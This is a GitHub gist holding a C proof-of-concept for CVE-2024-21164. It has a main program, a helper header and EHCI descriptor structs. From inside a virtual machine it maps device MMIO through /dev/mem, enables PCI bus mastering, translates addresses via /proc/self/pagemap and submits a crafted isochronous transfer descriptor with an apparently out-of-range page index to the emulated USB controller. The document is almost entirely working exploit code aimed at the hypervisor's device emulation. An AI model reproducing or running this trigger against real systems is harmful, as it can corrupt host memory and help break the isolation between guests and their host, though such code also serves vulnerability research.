Created
October 7, 2025 12:28
-
-
Save farazsth98/eae315ba6f419f360ab6de04661baa51 to your computer and use it in GitHub Desktop.
PoC for CVE-2024-21164 (ZDI-24-1024)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <sys/mman.h> | |
| #include <sys/types.h> | |
| #include <sys/stat.h> | |
| #include <fcntl.h> | |
| #include <stdint.h> | |
| #include <stdlib.h> | |
| #include <unistd.h> | |
| #include <string.h> | |
| #include "exploit.h" | |
| #include "structs.h" | |
| // Pointer to MMIO | |
| uint8_t* mmio; | |
| // String path to the PCI device config | |
| char config_path[0x100] = "/sys/devices/pci0000:00/0000:00:0b.0/config"; | |
| // Registers for this device | |
| #define COMMAND_R 0x20 | |
| #define SYNC_LIST_BASE_R 0x34 | |
| // Commands for this device | |
| #define EHCI_CMD_RUN (1 << 0) | |
| #define EHCI_CMD_RESET (1 << 1) | |
| #define EHCI_CMD_PERIODIC_SCHED_ENABLE (1 << 4) | |
| // Relevant Constants | |
| #define EHCI_DESCRIPTOR_ITD 0 | |
| int main(void) { | |
| uint64_t rc; | |
| // Enable Bus Master mode to allow the PCI device to initiate its own DMA | |
| // if needed (for example, when fetching transmit descriptors from the | |
| // guest in network devices). | |
| // | |
| // NOTE: Already enabled for the EHCI device it looks like | |
| enable_bus_master_mode(config_path); | |
| // Map the MMIO. Find the address using `lspci` or `lshw`. | |
| // | |
| // Alternatively, you can also find the address through the PCI device's | |
| // `resource` file within sysfs, similar to how we accessed the PCI | |
| // configuration space above in `enable_bus_master_mode`. | |
| mmio = map_phy_address(0xf0805000, 0x1000); | |
| if (mmio == MAP_FAILED) { | |
| printf("[!] Could not map MMIO!\n"); | |
| exit(-1); | |
| } | |
| // Create a new mapping for the synchronous list | |
| // We need the physical address to fit into a DWORD, so just keep unmapping | |
| // and remapping until we get such an address. | |
| PHYS_MAPPING sync_list = {0}; | |
| phys_mmap(0x1000, &sync_list); | |
| // Create a new mapping for the descriptors | |
| PHYS_MAPPING descs = {0}; | |
| phys_mmap(0x1000, &descs); | |
| // Reset the device | |
| write4(COMMAND_R, EHCI_CMD_RESET); | |
| // Set up the synchronous list. `sync_list_gpa` is guaranteed to fit into | |
| // a DWORD | |
| write4(SYNC_LIST_BASE_R, (uint32_t) sync_list.gpa); | |
| uint32_t val = read4(0x34); | |
| printf("[DEBUG] 0x%x\n", val); | |
| // Set up the frames. | |
| // Note that the FrameAddr must be shifted right by 5 | |
| EHCI_FRAME_LIST_PTR frames[2] = {0}; | |
| EHCI_ITD_PAD itd = {0}; | |
| itd.itd.Transaction[0].Active = 1; | |
| itd.itd.Transaction[0].PG = 7; | |
| itd.itd.Transaction[0].Length = 1; | |
| itd.itd.Transaction[0].Offset = 1; | |
| frames[0].Type = EHCI_DESCRIPTOR_ITD; | |
| frames[0].FrameAddr = descs.gpa >> 5; | |
| frames[1].Terminate = 1; | |
| // The frames start from sync_list+4 for some reason | |
| memset(sync_list.ptr, 0, 0x1000); | |
| memcpy(sync_list.ptr+4, frames, sizeof(frames)); | |
| memset(descs.ptr, 0, 0x1000); | |
| memcpy(descs.ptr, &itd, sizeof(itd)); | |
| // Start the periodic list processing, wait one second, then remove the | |
| // flags immediately because we don't want the list to keep processing | |
| // potentially uninitialized data (?) | |
| write4(COMMAND_R, EHCI_CMD_RUN | EHCI_CMD_PERIODIC_SCHED_ENABLE); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Helper macros, don't use these. instead use the readX and writeX macros below | |
| #define write_iomem8(reg, val) \ | |
| *(mmio + reg) = val | |
| #define read_iomem8(reg) \ | |
| ({ \ | |
| uint8_t val; \ | |
| val = *(mmio + reg); \ | |
| val; \ | |
| }) | |
| #define write_iomem16(reg, val) \ | |
| *((uint16_t *)(mmio + reg)) = val | |
| #define read_iomem16(reg) \ | |
| ({ \ | |
| uint16_t val; \ | |
| val = *((uint16_t *)(mmio + reg)); \ | |
| val; \ | |
| }) | |
| #define write_iomem32(reg, val) \ | |
| *((uint32_t *)(mmio + reg)) = val | |
| #define read_iomem32(reg) \ | |
| ({ \ | |
| uint32_t val; \ | |
| val = *((uint32_t *)(mmio + reg)); \ | |
| val; \ | |
| }) | |
| // Use these to read / write to the MMIO regions | |
| #define read1(reg) \ | |
| read_iomem8(reg) | |
| #define write1(reg, val ) \ | |
| write_iomem8(reg, val) | |
| #define read2(reg) \ | |
| read_iomem16(reg) | |
| #define write2(reg, val) \ | |
| write_iomem16(reg, val) | |
| #define read4(reg) \ | |
| read_iomem32(reg) | |
| #define write4(reg, val) \ | |
| write_iomem32(reg, val) | |
| // Helpers to deal with physical memory | |
| // | |
| // File descriptors | |
| int mem, pagemap; | |
| // Sections 2.2 and 2.3 from | |
| // http://phrack.org/papers/vm-escape-qemu-case-study.html | |
| // | |
| // The important function here is `gva_to_gpa`, which allows you to convert a | |
| // QEMU guest virtual address (gva) to a guest physical address (gpa). | |
| #define PAGE_SHIFT 12 | |
| #define PAGE_SIZE (1 << PAGE_SHIFT) | |
| #define PFN_PRESENT (1ull << 63) | |
| #define PFN_PFN ((1ull << 55) - 1) | |
| // Structure for the physical mappings | |
| typedef struct { | |
| // Pointer to the mapping | |
| uint8_t *ptr; | |
| // Physical address of the mapping | |
| uint64_t gpa; | |
| } PHYS_MAPPING; | |
| uint32_t page_offset(uint32_t addr) | |
| { | |
| return addr & ((1 << PAGE_SHIFT) - 1); | |
| } | |
| uint64_t gva_to_gfn(void *addr) | |
| { | |
| uint64_t pme, gfn; | |
| size_t offset; | |
| offset = ((uintptr_t)addr >> 9) & ~7; | |
| lseek(pagemap, offset, SEEK_SET); | |
| read(pagemap, &pme, 8); | |
| if (!(pme & PFN_PRESENT)) | |
| return -1; | |
| gfn = pme & PFN_PFN; | |
| return gfn; | |
| } | |
| uint64_t gva_to_gpa(void *addr) | |
| { | |
| if (!pagemap) { | |
| pagemap = open("/proc/self/pagemap", O_RDONLY); | |
| if (pagemap == -1) { | |
| printf("[!] Cannot open /proc/self/pagemap!\n"); | |
| exit(-1); | |
| } | |
| } | |
| uint64_t gfn = gva_to_gfn(addr); | |
| return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); | |
| } | |
| // This function is used to mmap a region of memory whose physical address | |
| // fits within a DWORD. This is required for most PCI devices. | |
| PHYS_MAPPING phys_mmap(size_t size, PHYS_MAPPING *out) { | |
| uint8_t *ptr; | |
| uint64_t gpa; | |
| while (1) { | |
| ptr = mmap(0, 0x1000, PROT_READ | PROT_WRITE, | |
| MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); | |
| if (ptr == MAP_FAILED) { | |
| printf("[!] Could not map the synchronous list!\n"); | |
| exit(-1); | |
| } | |
| gpa = gva_to_gpa((void *) ptr); | |
| if (gpa > 0xffffffff) { | |
| // Don't care about the return value tbh | |
| (void)munmap(ptr, 0x1000); | |
| } else { | |
| printf("[DEBUG] GPA Mapped: 0x%lx\n", gpa); | |
| break; | |
| } | |
| } | |
| out->ptr = ptr; | |
| out->gpa = gpa; | |
| } | |
| // This function is used to map most physical addresses into the binary's | |
| // virtual address space. Mostly useful for ptr MMIO regions. | |
| // | |
| // https://github.com/renorobert/virtualbox-cve-2018-2844/blob/master/exploit.c | |
| uint8_t *map_phy_address(off_t address, size_t size) | |
| { | |
| uint8_t *map; | |
| if (!mem) | |
| mem = open("/dev/mem", O_RDWR | O_SYNC); | |
| map = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED, | |
| mem, address); | |
| return map; | |
| } | |
| // See https://wiki.osdev.org/PCI#Command_Register | |
| // | |
| // Bus Master mode is a bit in the PCI configuration space of all PCI devices. | |
| // It needs to be enabled to allow the PCI device to generate it's own DMA | |
| // accesses. | |
| // | |
| // Note that although this is set by default in most cases, I've found that at | |
| // least in QEMU, you have to enable this manually. | |
| void enable_bus_master_mode(char *config) { | |
| // We need to flip the 3rd bit at offset 4 of the PCI configuration space | |
| // to enable Bus Master mode | |
| uint8_t buf[1] = {0x16}; | |
| // Replace the path here with your corresponding PCI device in sysfs | |
| int fd = open(config, O_RDWR | O_SYNC); | |
| pwrite(fd, &buf, 1, 4); | |
| close(fd); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| typedef struct | |
| { | |
| uint32_t Terminate : 1; | |
| uint32_t Type : 2; | |
| uint32_t Reserved : 2; | |
| uint32_t FrameAddr : 27; | |
| } EHCI_FRAME_LIST_PTR; | |
| typedef struct { | |
| uint32_t Terminate : 1; | |
| uint32_t Type : 2; | |
| uint32_t Reserved : 2; | |
| uint32_t Pointer : 27; | |
| } EHCI_TD_PTR; | |
| typedef struct { | |
| uint32_t DeviceAddress : 7; | |
| uint32_t Reserved1 : 1; | |
| uint32_t EndPt : 4; | |
| uint32_t Ignore1 : 20; | |
| uint32_t MaxPacket : 11; | |
| uint32_t DirectionIn : 1; | |
| uint32_t Ignore2 : 20; | |
| uint32_t Multi : 2; | |
| uint32_t Reserved10 : 10; | |
| uint32_t Ignore3 : 20; | |
| } EHCI_ITD_MISC; | |
| typedef struct { | |
| uint32_t Offset : 12; | |
| uint32_t PG : 3; | |
| uint32_t IOC : 1; | |
| uint32_t Length : 12; | |
| uint32_t TransactError : 1; | |
| uint32_t Babble : 1; | |
| uint32_t DataBufError : 1; | |
| uint32_t Active : 1; | |
| } EHCI_ITD_TRANSACTION; | |
| #define EHCI_NUM_ITD_TRANSACTIONS 8 | |
| #define EHCI_NUM_ITD_PAGES 7 | |
| typedef struct { | |
| uint32_t Reserved : 12; | |
| uint32_t Pointer : 20; /* 4k aligned */ | |
| } EHCI_BUFFER_PTR; | |
| typedef struct { | |
| EHCI_TD_PTR Next; | |
| EHCI_ITD_TRANSACTION Transaction[EHCI_NUM_ITD_TRANSACTIONS]; | |
| union | |
| { | |
| EHCI_ITD_MISC Misc; | |
| EHCI_BUFFER_PTR Buffer[EHCI_NUM_ITD_PAGES]; | |
| } Buffer; | |
| } EHCI_ITD, *PEHCI_ITD; | |
| typedef struct { | |
| EHCI_ITD itd; | |
| EHCI_BUFFER_PTR pad; | |
| } EHCI_ITD_PAD, *PEHCI_ITD_PAD; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment